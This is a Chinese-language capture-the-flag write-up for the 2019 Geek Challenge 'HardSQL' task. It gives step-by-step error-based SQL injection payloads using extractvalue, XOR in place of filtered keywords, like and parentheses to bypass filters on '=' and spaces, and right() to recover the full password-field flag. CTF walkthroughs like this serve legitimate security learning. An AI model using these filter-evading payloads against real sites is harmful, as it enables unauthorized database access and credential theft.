[極客大挑戰 2019]HardSQL


記得比賽的時候我用的是報錯注入

隨便輸入用戶名和密碼進行抓包。

 

 

 

用戶名輸入單引號之后報錯,簡單測試一下and or這些被過濾掉了

 

 

 

使用^異或符號替換and

 

 

 證明可以使用^替換,^符號未被過濾,添加報錯注入的payload,報錯注入的原理網上有很多優秀的文章,使用payload之前可以先看一下:

extractvalue(1,concat(0x7e,user(),0x7e))

  添加到burpsuite里面就變成了(最后的^'1 是為了閉合引號):

1%27^extractvalue(1,concat(0x7e,user(),0x7e))^'1

  

 

 

 成功報錯注出了數據庫用戶名

做的過程中發現還過濾了等號=和空格

 

 

 等號可以使用like來代替,空格使用()括號來代替

payload修改為:

1%27^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like%27geek%27),0x7e))^'1

  

 

 

 表名為:H4rDsq1

進一步獲取數據:

1%27^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like%27H4rDsq1%27),0x7e))^'1

  

應該是要獲取password

1%27^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e))^'1

  

 

 

 因為extractvalue和updatexml函數都只能一次最多顯示32位,在原有payload基礎上修改.

本來想用mid函數的,但是被過濾了,換right函數輸出后面的flag

 

 payload修改為:

1%27^extractvalue(1,concat(0x7e,(select(group_concat(right(password,13)))from(H4rDsq1)),0x7e))^'1

  

 

 與之前的flag拼接一下,注意這里我多出了幾位,需要把重復的位數去除,就拿到完整的flag啦

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM